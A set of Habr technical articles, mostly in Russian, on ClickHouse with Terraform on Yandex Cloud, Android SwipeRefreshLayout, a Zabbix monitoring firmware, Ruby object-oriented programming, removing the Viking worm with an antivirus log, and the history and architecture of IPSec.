# merge конкретной партиции (см. последовательность запросов выше)
def do_partition(partKey):
# ...
```
Так это описывается на Terraform (декларация в добавок к той, что представлена ранее):
```
# Функция "Очиститель"
data "archive_file" "cleaner" {
type = "zip"
output_path = "${path.module}/../packages/cleaner.zip"
source {
content = file("${path.module}/../src/cleaner.py")
filename = "cleaner.py"
}
source {
content = file("${path.module}/../src/requirements.txt")
filename = "requirements.txt"
}
}
resource "yandex_function" "cleaner" {
name = "cleaner"
description = ""
user_hash = data.archive_file.cleaner.output_base64sha256
runtime = "python39"
entrypoint = "cleaner.handler"
memory = "256"
execution_timeout = "300"
service_account_id = yandex_iam_service_account.sa.id
folder_id = local.folder_id
environment = {
CH_DB = yandex_mdb_clickhouse_cluster.neoflex.database.*.name[0]
CH_HOST = yandex_mdb_clickhouse_cluster.neoflex.host[0].fqdn
CH_PASSWORD = yandex_mdb_clickhouse_cluster.neoflex.user.*.password[0]
CH_USER = yandex_mdb_clickhouse_cluster.neoflex.user.*.name[0]
ACCESS_KEY_ID = yandex_iam_service_account_static_access_key.sa-static-key.access_key
SECRET_ACCESS_KEY = yandex_iam_service_account_static_access_key.sa-static-key.secret_key
YMQ_QUEUE_URL = yandex_message_queue.cleaner.id
YANDEX_FOLDER_ID = local.folder_id
YDB_ENDPOINT = yandex_ydb_database_serverless.neoflex.document_api_endpoint
}
content {
zip_filename = data.archive_file.cleaner.output_path
}
}
resource "yandex_function_scaling_policy" "cleaner" {
function_id = yandex_function.cleaner.id
policy {
tag = "$latest"
zone_instances_limit = 4
zone_requests_limit = 150
}
}
# Триггер-таймер для запуска функции по расписанию
resource "yandex_function_trigger" "cleaner_cron" {
name = "cleaner-cron"
description = ""
folder_id = local.folder_id
timer {
cron_expression = "*/5 * * * ? *"
}
function {
id = yandex_function.cleaner.id
service_account_id = yandex_iam_service_account.sa.id
}
}
# Триггер для запуска функции по сообщению из очереди
resource "yandex_function_trigger" "cleaner_queue" {
name = "cleaner-queue"
description = ""
folder_id = local.folder_id
message_queue {
queue_id = yandex_message_queue.cleaner.arn
service_account_id = yandex_iam_service_account.sa.id
batch_size = "1"
batch_cutoff = "10"
}
function {
id = yandex_function.cleaner.id
service_account_id = yandex_iam_service_account.sa.id
}
}
# Очередь для сообщений с именами партиций, которые будут пересобираться
resource "yandex_message_queue" "cleaner" {
name = "partitions2merge"
visibility_timeout_seconds = 600
receive_wait_time_seconds = 20
delay_seconds = 0
message_retention_seconds = 86400 # 1 day
redrive_policy = jsonencode({
deadLetterTargetArn = yandex_message_queue.dlq.arn
maxReceiveCount = 3
})
access_key = yandex_iam_service_account_static_access_key.sa-static-key.access_key
secret_key = yandex_iam_service_account_static_access_key.sa-static-key.secret_key
}
```
Итак, данные в облако загрузили и очистили, теперь ***на основе очищенных данных необходимо строить ряд витрин с агрегациями.***
Тут схема, процесс и реализация абсолютно идентичны предыдущей части – есть исходная таблица и нужно на её данных строить/обновлять витрину. Стоить отметить только один нюанс, с которым мы столкнулись, – это использование массивов и вложенных таблиц в ClickHouse.
Например, у нас есть исходная таблица со следующей структурой:
```
CREATE TABLE clean
(
id Int64,
positions Nested(
id UInt16,
value1 String,
value2 String
),
insertTime DateTime('Europe/Moscow') DEFAULT now()
) ENGINE = MergeTree()
PARTITION BY toYYYYMMDD(insertTime)
ORDER BY (id);
```
Мы хотим выбрать все данные в плоском виде и делаем такой запрос:
```
SELECT id, p.id, p.value1, p.value2
FROM clean ARRAY JOIN positions AS p
```
Это работает.
Дальше, например, у нас есть другая таблица с маппингами:
```
CREATE TABLE mappings
(
from String,
to String
) ENGINE = MergeTree()
ORDER BY (from);
```
И мы хотим применить маппинг к одному полю нашей таблицы с чистовыми данными:
```
SELECT p.value1, m.to value1_to
FROM clean ARRAY JOIN positions AS p
LEFT JOIN mappings AS m ON p.value1 = m.from;
```
Это тоже отлично работает.
Но если мы захотим сделать еще один маппинг по другому полю:
```
SELECT p.value1, m1.to value1_to, p.value2, m2.to value2_to
FROM clean ARRAY JOIN positions AS p
LEFT JOIN mappings AS m1 ON p.value1 = m1.from
LEFT JOIN mappings AS m2 ON p.value2 = m2.from
```
получим ошибку:
*DB::Exception: Multiple JOIN does not support mix with ARRAY JOINs*
Да, есть такое ограничение. И обойти его можно, используя подзапрос:
```
SELECT p.value1, value1_to, p.value2, m2.to value2_to FROM
(
SELECT p.value1, m1.to value1_to, p.value2
FROM clean ARRAY JOIN positions AS p
LEFT JOIN mappings AS m1 ON p.value1 = m1.from
) t
LEFT JOIN mappings AS m2 ON p.value2 = m2.from
```
Но, как отмечено ранее, подзапросы накладывают существенные ограничения прежде всего на объем обрабатываемых запросом данных. И, если в исходной таблице будут триллионы строк, то такой запрос вряд ли сможет быть выполнен. Придётся упрощать исходную таблицу (чтобы не делать два раза JOIN), либо упрощать целевую таблицу (отказаться от дополнительного маппинга), либо обрабатывать исходную таблицу частями (как, например, сделано при «очистке» сырых данных) и искать оптимальное сочетание вышеуказанных параметров решения.
### Заключение
В ClickHouse достаточно много различных ограничений, в том числе синтаксических. До поддержки полноценного SQL он, к сожалению, пока не дотягивает. Тот же [ARRAY JOIN](https://clickhouse.com/docs/en/sql-reference/statements/select/array-join) в одном запросе/подзапросе можно использовать только один раз.
При проектировании решений с использованием ClickHouse мы рекомендуем сразу детально продумывать все структуры таблиц, необходимых сквозному процессу: от таблиц с сырыми данных до конечных витрин, с учётом различных ограничений ClickHouse.
Чтобы получать финишные данные за наименьшее количество итераций с наименьшим количеством промежуточных таблиц и подзапросов, иногда стоит отказаться от оригинальной структуры исходных данных в виде массивов или вложенных таблиц, Иногда будет быстрее, например, применить маппинг или сделать дополнительное вычисление еще на уровне обработки сырых данных перед вставкой в ClickHouse.
В общем, чем проще и полнее исходные данные (таблицы с данными), тем удобнее и дешевле в дальнейшем с ними работать и тем больше прелестей Full Scan открываются у ClickHouse.
Что касается плюсов применения ClickHouse, как нам видится, эта СУБД лучше всего пригодна в кейсах, когда в режиме online нужно сохранять колоссальные объёмы структурированных данных и иметь возможность из этих данных быстро получать несложные выборки (хотя бы без подзапросов и JOIN с крупными таблицами).
Вставка огромных объемов данных в ClickHouse – не проблема, как и простая выборка (с агрегацией) из большой таблицы, ведь изначально под такой тип задач ClickHouse и создавался в Yandex.Metrica. Кроме того, поддержка своеобразного SQL, хоть и весьма ограниченного, и классических способов подключения JDBC/ODBC является огромным плюсом. | https://habr.com/ru/post/688126/ | null | ru | null |
# SwipeRefreshLayout: не сферический и не в вакууме
Про новый [SwipeRefreshLayout](http://developer.android.com/reference/android/support/v4/widget/SwipeRefreshLayout.html) из библиотеки Android support на Хабре [уже писали](http://habrahabr.ru/post/218365/), да и Google любезно выдаёт множество ссылок на подобные примеры. Их всех объединяет одно — в SwipeRefreshLayout добавляется единственное TextView или ListView, и через минуту разработчик с умилением глядит на работающую анимацию. А если нам интерфейс чуть посложнее надо?
Итак, у нас есть Activity с двумя элементами: сверху — панель фильтра, снизу — некое View (лишние теги удалены):
```
```
Нам всего-то нужно заменить LinearLayout на SwipeRefreshLayout. Точнее, просто заменить не получится — SwipeRefreshLayout позволяет иметь только один вложенный элемент. Давайте просто обернём LinearLayout в SwipeRefreshLayout:
```
```
Запускаем — работает! Правда, как-то странно работает: индикатор обновления то не появляется, то пропадает.
Материмся, гуглим, изучаем опыт предыдущих поколений. Оказывается, в SwipeRefreshLayout что попало класть нельзя. [ScrollView](http://developer.android.com/reference/android/widget/ScrollView.html) можно, [GridView](http://developer.android.com/reference/android/widget/GridView.html) можно, [ListView](http://developer.android.com/reference/android/widget/ListView.html) можно, а больше ничего и нельзя. ListView и GridView нам совсем не подходят, а вот ScrollView можно попробовать. Оборачиваем наш многострадальный LinearLayout в ScrollView:
```
```
Обращаем внимание — [Lint](https://developer.android.com/tools/help/lint.html) тут же требует изменить android:layout\_height с match\_parent на wrap\_content у вложенных в ScrollView элементов.
Запускаем, и… видим только панель фильтра. А где же нижний View? А нет его. Точнее, он есть, но мы его не видим. Раньше LinearLayout растягивал его на всё свободное пространство благодаря match\_parent, но теперь-то мы внутри ScrollView! А ScrollView потому и ScrollView, что никого внутри себя растягивать не собирается, потому что его содержимое может выходить за пределы самого ScrollView.
Выход — либо наше нижнее MyView должно иметь явную высоту (через android:minHeight или onMeasure()), либо у ScrollView должен быть установлен атрибут android:fillViewport=«true», который и заставит его растянуть нижний View.
```
```
Гламурных всем анимаций! | https://habr.com/ru/post/256947/ | null | ru | null |
# Monitor linux — cross platform firmware with zabbix server
About
-----
This is small cross-platform linux-distro with zabbix server. It's a simple way to deploy powerful monitoring system on ARM platfornms and x86\_64.
Worked as firmware (non-changeable systemd image with config files), have web-interface for system management like network settings, password and other.
Who is interested
-----------------
* System admins/engineers who need to fast deploy of zabbix server.
* Everyone, who want to deploy zabbix on ARM.
* Enthusiasts
Ready images
------------
Ready images can be found here:
<https://github.com/skif-web/monitor/releases>
Supported hardware
------------------
* Rasberry pi 4
* Asus tinker board
* Beaglebone black (not recommend)
* qemu/kvm x86\_64
Build from source
-----------------
First, clone repo from github:
```
git clone https://github.com/skif-web/monitor.git
```
Next, going go cloned directory:
```
cd monitor
```
Run prepare script and select target board:
```
cd monitor
./run_me.sh
[0] my_asus-tinker_defconfig
[1] my_beaglebone-black_defconfig
[2] my_rasberry-4_defconfig
[3] my_x86-64_defconfig
Select defconfig, press A for abort. Default [0]
```
After that, go to buildroot-2019.11 directory and run command make:
```
cd buildroot-2019.11
make
```
After some time (depends on you build machine performance), you will have ready images:
```
ls -1 output/images/
boot.img
boot.vfat
bzImage
data
data.img
external.img
external.qcow2
grub-eltorito.img
grub.img
intel-ucode
monitor-0.9-beta.tar.gz
qemu.qcow2
rootfs.cpio
sdcard.img
sys
update
```
Interesting files:
* sdcard.img — image for microsd-card (write via dd or rufus on windows).
* qemu.qcow2 — image for qemu (only for x86\_64)
* external.qcow2 — qemu external drive for database files (only for x86\_64)
* monitor-0.9-beta.tar.gz — update arch
### Option: ramdisk usage
You can decrease build time by using ramdisk. To do it, open run\_me.sh in root dir of repo and find this strings:
```
USE_RAMDISK=y
RAMDISK_SIZE=16G
```
If USE\_RAMDISK=y, buuildroot will work on ramdisk. Ramdisk-size in hard coded because i am couch potato.
Install
-------
### Generic information
This firmware don't have any installer. Just write image in microsd (or use images in qemu ) and run it. All prepare operations (disk resize, first boot prepare) will be run without your.
### Asus tinker board, Beaglebone black and raspberry pi 4
First, write image to microsd-card(for example, microsd is /dev/sdb):
```
dd if=output/images/sdcard.img of=/dev/sdb && sync
```
After that, insert this microsd to your board and boot from them.
Asus tinker board — Always boot from miscosd card
Asus tinker board S- Read instructions here: <https://tinkerboarding.co.uk/wiki/index.php/Setup#Boot_Priority>
Beaglebone black — hold down the USER/BOOT button and apply power OR remove bootloader from build-im emmc( <https://www.erdahl.io/2016/12/beaglebone-black-booting-from-sd-by.html> )
Raspberry pi 4 — Always boot from microsd card
### Qemu x86\_64
```
qemu-system-x86_64 -smp 4 -m 4026M -enable-kvm -machine q35,accel=kvm -device intel-iommu -cpu host -net nic -net bridge,br=bridge0 -device virtio-scsi-pci,id=scsi0 -drive file=output/images/qemu.qcow2,format=qcow2,aio=threads -device virtio-scsi-pci,id=scsi0 -drive file=output/images/external.qcow2,format=qcow2,aio=threads
```
This command will run system with 4 cpu, 2048 RAM, enabled KVM, virtio-net device bridged to real NIC and 2 hdd drive: sdcard and second device for data.
Work
----
### Boot
First boot can take long time. It's happened because:
* System resizes partition
* Postgresql prepares own data directory
Also, long time needed if new external drive connected because system format it.
While system booting, you can see "System starting, please wait" message on display. Wait until it will be replaced by other message like:
```
current ip 192.168.1.32
Ready to work
```
### Web-interface
Main system management way — web-interface. It available by system ip (see boot part).
* Admin panel — web-interface for device manage [http://${system\_ip}/manage](http://%24%7Bsystem_ip%7D/manage)
* Zabbix management — Zabbix native web-interface [http://${system\_ip}/zabbix](http://%24%7Bsystem_ip%7D/zabbix)
* About page [http://${system\_ip}](http://%24%7Bsystem_ip%7D)
Default user-pass for ssh and web-console is root:admin Default zabbix web-interface credentials is Admin:zabbix.
### Admin panel
Open in web-browser: [http://${system\_ip}/manage](http://%24%7Bsystem_ip%7D/manage)
Available functions:
* System status: uptime, load average, free memory, free disk space
* Network settings: hostname, static/dhcp IP4 settings
* Admin password
* Backup/restore (settings and database dump separately), factory reset
---
NOTE Warning! Factory reset destroy ALL data!!!
Restore and Reset operations need reboot after them.
---
* External drive support
* System upgrade
### Temperature control
Temperature control use RODOS-5 usb thermometer. Its usb device with dallas 1820. Of course, i know, that dallas 1820 can bi user directly, but you may need to buy 1-wire device (if not exist on your board).
Steps to enable thermal control:
1) insert device to usb port
2) Create data item in zabbix:
1)Configuration -> Hosts
2)Click ITEMS in your server line
3)Click "Create item" button
* name — serverRoomTemp
* Type — zabbix agent
* Key — rodos
* Type- numeric
* Units — C
* History storage period — 10 days
* Trend storage period — 30 days
* New application — server Room Temp
* Click ADD button
Graph of temperature
### Use external hard drive
I'm recommend to use external device because postgresql can kill microsd-card. Yes, you can use SLC cards with 30000-50000 cycles, but they expensive. Just connect usb-device such flash,hdd or ssd, enable external drive support in web-interface and reboot.
WARNING! System will destroy all data on new external device
WARNING! System does not move data from sdcard to external drive and back. You need to save backup (settings and database dump), enable/disable external drive, reboot and than — restore settings and zabbix database dump and reboot. | https://habr.com/ru/post/487986/ | null | en | null |
# Курс по Ruby+Rails. Часть 2. Объектно-ориентированное программирование
В этой лекции мы рассмотрим объектно-ориентированный стиль в Ruby: поговорим об объектах, классах и модулях, а также вспомним три принципа объектно-ориентированного программирования.
Основные свойства Ruby как чистого ОО-языка таковы:
* Любая сущность — объект, исключений не существует.
* Примитивных типов не существует.
* Любая функция — это метод какого-либо объекта. Инфиксные операторы (например, `+ - / *`) — не исключение.
* Объекты взаимодействуют друг с другом, посылая и принимая сообщения, что приводит к вызову соответствующих методов и мутации состояния объекта.
* Поведение объектов может программно изменяться в их жизненном цикле.
### Объекты
Поговорим об объектах. Мы только что проговорили, что всё в Ruby является объектом. Например, число 42, которое вы видите — объект. Давайте это проверим. Вызовем какой-нибудь метод у этого числа. Допустим, метод `class`. И получим класс этого объекта:
```
pry(main)> 42
=> 42
pry(main)> 42.class
=> Integer
pry(main)> Integer.class
=> Class
```
Попробуем посмотреть все доступные методы у объекта 42. Среди них увидим математические операторы, которые можем использовать:
```
pry(main)> 42.methods
=> [
# ...
:%,
:&,
:*,
:+,
:-,
:/,
# ...
]
pry(main)> 42.method(:+)
=> #
```
Давайте убедимся в том, что математические операции — это тоже методы. Умножим 2 на 2. Вот сокращённая форма записи, где мы опустили некоторые знаки. Эта упрощённая запись будет эквивалентна следующей: у объекта 2 вызывается метод «умножение», и в качестве аргумента передаётся двойка. Оба выражения вернут один и тот же результат:
```
pry(main)> 2 * 2
=> 4
pry(main)> 2.*(2)
=> 4
```
У объекта есть внутреннее скрытое состояние и есть методы, с помощью которых он может взаимодействовать с внешним миром: показывать своё состояние или как-то его изменять.
### Классы
Теперь о классах. Объекты в Ruby — это *экземпляры*, каждый своего класса. Классы можно воспринимать как шаблоны, по которым создаются новые объекты.
Давайте создадим класс. Определим имя, опишем конструктор. Конструктор — это метод, который вызывается при создании нового экземпляра класса и выполняет первоначальную настройку состояния объекта. Опишем переменную экземпляра класса и зададим значение этой переменной. Опишем метод этого экземпляра класса. Создадим новый экземпляр класса и вызовем его метод:
```
class DeepThought
def initialize
@answer = 42
end
def answer_for(question)
sleep 10
puts "The Answer about life, universe and everything, including '#{question}' is #{@answer}"
end
end
supercomputer = DeepThought.new
supercomputer.answer_for('To be or not to be?')
#> The Answer about life, universe and everything, including 'To be or not to be?' is 42
```
Прежде, чем продолжить, поговорим о собственном поведении класса. У класса есть методы, константы и переменные самого класса. Их мы можем использовать без создания нового экземпляра класса. Посмотрим на код: на второй строчке вы видите константу класса, на третьей — переменная класса. В конце класса находится конструкция `class << self`. Методы, которые описаны внутри этого блока, являются методами самого класса:
```
class DeepThought
ANSWER = 42
@@answer_template = 'Umm...'
attr_reader :answer, :seconds_to_sleep
def initialize(seconds_to_sleep)
@answer = ANSWER
@seconds_to_sleep = seconds_to_sleep
end
def answer_for(question)
sleep(seconds_to_sleep)
puts expand_answer(question)
end
def expand_answer(question)
"#{@@answer_template.gsub(/$q/, question)} #{answer}"
end
class << self
def answer_template=(string)
@@answer_template = string
end
end
end
```
Обратите внимание на метод `answer_template`. В конце его имени стоит знак `=`. Он напрямую изменяет переменную класса. Такие методы называются *сеттерами*. Посмотрите на вызов метода `attr_reader`, — так создаются *геттеры*, — методы, возвращающие значения одноименных переменных экземпляра.
Мы можем обратиться к имени константы и получить её значение. Слева пишется название класса, потом двойное двоеточие и имя константы:
```
DeepThought::ANSWER
#> 42
```
Теперь снова создадим экземпляр класса и вызовем у него какой-нибудь метод. Затем у самого класса вызовем сеттер и изменим нужную нам переменную класса. После этого снова вызовем метод экземпляра. Мы получили новый результат, так как изменилось определённое свойство класса в целом:
```
supercomputer = DeepThought.new(10)
#> #
supercomputer.answer\_for('To be or not to be?')
#> Umm... 42
DeepThought.answer\_template =
"The Answer about life, universe and everything, including $q is"
supercomputer.answer\_for('To be or not to be?')
#> The Answer about life, universe and everything, including $q is 42
```
### Модули
Модули — Это особые объекты в Ruby. Они используются для группировки методов, констант, других классов и модулей. Модули также создают неймспейсы — пространства имён. Модули похожи на классы тем, что у них есть методы, константы, вложенные классы и модули. Но есть и отличие: их нельзя инстанциировать. Невозможно создать экземпляр модуля.
```
module SupercomputersPlanet
PLANET = "Magrathea"
class DeepThought
# ...
end
def make_deep_thought
puts "Making Deep Thought of #{PLANET}"
DeepThought.new
end
end
```
Посмотрим на примеры: мы можем получить список всех констант. Также можем попробовать создать экземпляр модуля, но в этом месте получим исключение. Можем попробовать прочитать константу, однако её нет в глобальной области видимости, константа описана только внутри модуля. Здесь же мы получим исключение. В конце мы явно указываем, к какому модулю хотим обратиться, и получаем нужное значение:
```
SupercomputersPlanet.class
#> Module
SupercomputersPlanet.constants
#> [:PLANET, :DeepThought]
SupercomputersPlanet.new
#> NoMethodError: undefined method `new' for SupercomputersPlanet:Module
PLANET
#> NameError: uninitialized constant PLANET
SupercomputersPlanet::PLANET
#> "Magrathea"
```
Теперь попробуем создать экземпляр класса, определённого внутри пространства имён нашего модуля. На первой строчке получаем исключение. Это произошло потому, что мы не указали, что хотим инстанциировать класс из конкретного `namespace`:
```
DeepThought.new
#> NameError: uninitialized constant DeepThought
SupercomputersPlanet::DeepThought.new
#> #
SupercomputersPlanet.make\_deep\_thought
#> NoMethodError: undefined method `make\_deep\_thought' for SupercomputersPlanet:Module
```
На второй строчке всё уже успешно. На третьей строчке мы попытаемся вызвать метод у этого модуля, но получим ошибку. Попробуем её исправить — опишем метод уровня класса внутри модуля. Теперь всё работает:
```
module SupercomputersPlanet
PLANET = "Magrathea"
class DeepThought
# ...
end
def self.make_deep_thought
puts "Making Deep Thought of #{PLANET}"
DeepThought.new
end
end
SupercomputersPlanet.make_deep_thought
#> Making Deep Thought of Magrathea
#> #
```
### 3 основных принципа объектно-ориентированного программирования: инкапсуляция, наследование, полиморфизм.
**Начнём с инкапсуляции.** Инкапсуляция — это свойство объекта прятать своё состояние от внешнего мира. Напрямую с переменными класса или переменными экземпляра мы взаимодействовать не сможем. Для взаимодействия нужны методы. Они позволяют читать и изменять состояние класса. В Ruby существует инструмент, с помощью которого можно управлять доступом к методам. Делается это с помощью ключевых слов `private` и `protected`. `private` делает так, что методы могут вызываться только изнутри экземпляра класса. Попробуем на примере увидеть, как это работает. Создадим экземпляры и попробуем вызвать у них приватные метод. Получим исключения:
```
class DeepThought
ANSWER = 42
attr_reader :seconds_to_sleep
private :seconds_to_sleep
def initialize(seconds_to_sleep)
@seconds_to_sleep = seconds_to_sleep
end
def answer_for(question)
sleep(seconds_to_sleep)
puts full_answer_text(question)
end
private
def full_answer_text(question)
<<~TXT.gsub(/\n/, ' ')
The Answer about life, universe and everything,
including '#{question}' is #{answer}"
TXT
end
def answer
ANSWER
end
end
DeepThought.new(5).answer
#> NoMethodError: private method `answer' called ...
DeepThought.new(5).seconds_to_sleep
#> NoMethodError: private method `seconds_to_sleep' called ...
DeepThought.new(5).answer_for("Foo?")
#> The Answer about life, universe and everything, including 'Foo?' is 42"
```
Свойство методов `protected` используется довольно редко, и мы его сейчас рассматривать не будем.
**Второй принцип — наследование.** Это свойство класса повторять поведение и свойства родительского класса, который в этом случае называют суперклассом. Наследование появилось как инструмент уменьшения количества кода, чтобы можно было группировать некоторое общее для нескольких классов поведение и выносить его в отдельные суперклассы. Наследование позволяет создавать иерархию классов, в которой каждый из классов может быть либо суперклассом, то есть родителем, либо подклассом, то есть наследником.
Смотрим пример: создадим два класса, где второй будет потомком первого. Создадим экземпляры этого класса и попробуем вызвать оба метода: как метод родительского класса, так и метод самого класса:
```
class Animal
def breathe
puts "inhale and exhale"
end
end
class Cat < Animal
def speak
puts "Meow"
end
end
nyan = Cat.new
nyan.breathe
nyan.speak
```
Если вы повторите это самостоятельно, программа отработает корректно, и вы получите результат вызова методов предка и потомка в новой иерархии классов.
Отдельного упоминания заслуживает механизм «примесей». Он позволяет собирать нужное поведение не только в классах, но и в модулях, которые можно затем включать в нужные нам классы. Определённые во включаемых модулях методы становятся методами экземпляра или класса в классе-«получателе»:
```
class LifeForm
def breathe
# all lifeforms breathe
end
end
class Animal < LifeForm
include AnimalCellsBiochemistry
include AnimalGenetics
include AnimalMetabolism
include AnimalMotion
include AnimalSounds
end
class Cat < Animal
# это поведение — DSL из модуля AnimalSounds
animal_sound "Meow"
end
```
Вернёмся к примеру с иерархией классов. У нас есть класс `Animal`, есть класс `Cat`, который является его наследником. Есть ещё класс японской кошки — наследник класса `Cat`:
```
class Animal
def speak
puts 'The animal sound'
end
end
class Cat < Animal
def speak
puts 'The cat speaks:'
super # super вызывает одноимённый метод родителя
end
end
module JapaneseCatSpeak
def speak
puts 'Nyaaaaa!'
end
end
class JapaneseCat < Cat
end
JapaneseCat.new.speak
#> The cat speaks:
# The animal sound
```
Создадим экземпляр японской кошки и вызовем у неё один единственный метод. Но сейчас кошка мяукает по-английски, а должна по-японски. Давайте это сделаем. Создадим отдельный модуль и «подмешаем» его в нужный класс с помощью ключевого слова `include`. Теперь наша кошка мяукает правильно:
```
class JapaneseCat < Cat
include JapaneseCatSpeak
def speak
puts 'The cat speaks:'
super # теперь родитель для этого метода — модуль JapaneseCatSpeak
end
end
JapaneseCat.new.speak
#> The cat speaks:
# Nyaaaaa!
```
Посмотрим на механизм примесей модулей внимательней. Есть некоторый модуль, у в котором определён метод, возвращающий массив. Подмешаем этот модуль в наш класс и попробуем вызвать этот метод на уровне класса. Получаем ошибку:
```
module CatsCommons
def features
%i[ears legs tail]
end
end
class Cat
include CatsCommons
end
Cat.features
#> NoMethodError: undefined method `features' for Cat:Class
Cat.new.features
#> [:ears, :legs, :tail]
```
Давайте попробуем создать экземпляр класса и вызовем метод на нём. Всё работает корректно. Однако изначально я хотел, чтобы метод вызывался на уровне класса. Исправим это поведение. Для этого используем ключевое слово `eхtend`:
```
class Cat
extend CatsCommons
end
Cat.features
#> [:ears, :legs, :tail]
```
С его помощью мы подмешиваем содержимое модуля не в экземпляр класса, а в сам класс.
Механизм наследования и примесей в Ruby гибок и позволяет создавать большие приложения, но увеличивает сложность. В следующих лекциях мы познакомимся с композицией, которая уменьшает сложность, являясь альтернативной наследованию.
**И, наконец, третий принцип объектно-ориентированного программирования — полиморфизм.** Это способность одного и того же кода работать с разными типами данных.
В Ruby тождественны понятие "тип" и "поведение". За счёт динамической природы языка мы можем изменять экземпляр класса непосредственно. На примере у нас есть модуль и класс. Создадим экземпляр класса, опишем в модуле новый метод для него и подмешаем модуль непосредственно в экземпляр. Проверим — всё работает корректно:
```
module ExplicitCatThings
def get_in_the_way
"I'm on the laptop!"
end
end
class Cat
def speak
'Meow!'
end
end
cat = Cat.new
def cat.jump
'Weeeee!!! Rumble-rumble!'
end
cat.extend ExplicitCatThings
cat.speak
#> "Meow!"
cat.jump
#> "Weeeee!!! Rumble-rumble!"
cat.get_in_the_way
#> "I'm on the laptop!"
```
Такой подход называется «monkey patching» — во время работы программы, после создания экземпляра мы меняем его поведение. Язык позволяет нам такую гибкость, но это считается не особенно хорошей практикой, поэтому старайтесь её избегать. Из-за «monkey patching» бывает сложно анализировать работу программы и отслеживать, где и как изменяются свойства классов и объектов.
Это был обзор основного стиля программирования в Ruby — объектно-ориентированного. Готовим для вас следующую лекцию, всего хорошего! | https://habr.com/ru/post/691858/ | null | ru | null |
# Викинги атакуют (Worm.Win32.Viking.hb)
Надоело. Вылетает второй раз за день вылетает окошко отладчика с ошибкой в [rundl132.dll](http://www.viruslist.com/ru/viruses/encyclopedia?virusid=151648). Хочется вылечить заразу — устала руками файлы каждый раз удалять и реестр чистить. Помучилась, помучилась, и нашла чудесное [решение](http://www.pandasecurity.com/activescan/index/) от Панды. Как и любой бесплатный антивирус, Панда лечит не всё, но, что замечательно, экспортирует все найденные проблемы в текстовый файл. Остаётся лишь применить простенький скрипт, например, под [Cygwin](http://www.cygwin.com/): `cut -b 114- /c/Documents\ and\ Settings/masik/My\ Documents/ActiveScan.txt | sed -s 's/^/rm "/; s/$/"/' | sh`, и компьютер чист! Совет: сначала лучше написать `echo rm` вместо `rm` дабы случайно не удалить чего лишнего. | https://habr.com/ru/post/46544/ | null | ru | null |
# IPSec — история, архитектура, подключение
IPSec
-----
IP Security — это комплект протоколов, в состав которого входят почти 20 предложений по стандартам и 18 RFC. Он позволяет осуществлять подтверждение подлинности (аутентификацию), проверку целостности и/или шифрование IP-пакетов. IPsec также включает в себя протоколы для защищённого обмена ключами в интернете.
Основное назначение протокола — организация VPN-соединений. Рассказываем, как появился и как устроен IPsec, а также как подключить VPN-соединение в Win10.
Немного истории
---------------
В 1994 году Совет по архитектуре интернета (IAB) выпустил отчёт «Безопасность архитектуры интернета». В этом документе описывались основные области применения дополнительных средств безопасности в сети, в том числе защита от несанкционированного мониторинга, подмены пакетов и управления потоками данных. В числе первоочередных и наиболее важных защитных мер указывалась необходимость разработки концепции и основных механизмов обеспечения целостности и конфиденциальности потоков данных. Поскольку изменение базовых протоколов семейства TCP/IP вызвало бы полную перестройку интернета, нужно было обеспечить безопасность информационного обмена в открытых телекоммуникационных сетях на базе существующих протоколов. Так начала создаваться спецификация Secure IP, дополнительная по отношению к протоколам IPv4 и IPv6.
Архитектура
-----------
Спецификация IP Security (известная сегодня как IPsec) разрабатывается Рабочей группой IP Security Protocol IETF. Первоначально IPsec включал в себя алгоритмо-независимые базовые спецификации, опубликованные в качестве RFC-документов "Архитектура безопасности IP", "Аутентифицирующий заголовок (AH)", "Инкапсуляция зашифрованных данных (ESP)" (RFC1825, 1826 и 1827).
В ноябре 1998 года Рабочая группа IP Security Protocol предложила новые версии этих спецификаций, имеющие в настоящее время статус предварительных стандартов, это RFC2401 —RFC2412. RFC1825-27 уже несколько лет считаются устаревшими и реально не применяются. Кроме этого, существуют несколько алгоритмозависимых спецификаций, использующих протоколы MD5, SHA, DES.
Рабочая группа IP Security Protocol разрабатывает также и протоколы управления ключевой информацией. В задачу этой группы входит разработка Internet Key Management Protocol (IKMP), протокола управления ключами прикладного уровня, не зависящего от используемых протоколов обеспечения безопасности. Сейчас рассматриваются концепции управления ключами с использованием спецификации Internet Security Association and Key Management Protocol (ISAKMP) и протокола Oakley Key Determination Protocol.
Спецификация ISAKMP описывает механизмы согласования атрибутов используемых протоколов, в то время как протокол Oakley позволяет устанавливать сессионные ключи на компьютеры сети Интернет. Ещё рассматривались возможности использования механизмов управления ключами протокола SKIP, но сейчас они нигде не используются. Создаваемые стандарты управления ключевой информацией, возможно, будут поддерживать Центры распределения ключей, аналогичные используемым в системе Kerberos. Протоколами ключевого управления для IPSec на основе Kerberos сейчас занимается относительно новая рабочая группа KINK (Kerberized Internet Negotiation of Keys).
Гарантии целостности и конфиденциальности данных в спецификации IPsec обеспечиваются за счет использования механизмов аутентификации и шифрования соответственно. Последние, в свою очередь, основаны на предварительном согласовании сторонами информационного обмена т.н. «контекста безопасности» – применяемых криптографических алгоритмов, алгоритмов управления ключевой информацией и их параметров.
Спецификация IPsec предусматривает возможность поддержки сторонами информационного обмена различных протоколов и параметров аутентификации и шифрования пакетов данных, а также различных схем распределения ключей. При этом результатом согласования контекста безопасности является установление индекса параметров безопасности (SPI), который по сути является указателем на определенный элемент внутренней структуры стороны информационного обмена, описывающей возможные наборы параметров безопасности.
IPSec, который станет составной частью IPv6, работает на третьем или сетевом уровне. В результате передаваемые IP-пакеты будут защищены прозрачным для сетевых приложений и инфраструктуры образом. В отличие от SSL (Secure Socket Layer), который работает на четвертом (транспортном) уровне и теснее связан с более высокими уровнями модели OSI, IPSec призван обеспечить низкоуровневую защиту.
К IP-данным, готовым к передаче по виртуальной частной сети, IPSec добавляет заголовок для идентификации защищенных пакетов. Перед передачей эти пакеты инкапсулируются в другие IP-пакеты. IPSec поддерживает несколько типов шифрования, в том числе Data Encryption Standard (DES) и Message Digest 5 (MD5).
Чтобы установить защищенное соединение, оба участника сеанса должны иметь возможность быстро согласовать параметры защиты (алгоритмы аутентификации и ключи). IPSec поддерживает два типа схем управления ключами, с помощью которых участники могут согласовать параметры сеанса. Эта двойная поддержка в свое время вызвала трения в IETF Working Group.
С текущей версией IP, IPv4, могут быть использованы Internet Secure Association Key Management Protocol (ISAKMP) или Simple Key Management for Internet Protocol. С новой версией IP, IPv6, придется использовать ISAKMP, известный сейчас как IKE, хотя не исключается возможность использования SKIP. Но стоит помнить, что SKIP уже давно не рассматривается как кандидат управления ключами, и даже был исключён из списка возможных кандидатов ещё в 1997 г.
Достоинства IPSec
-----------------
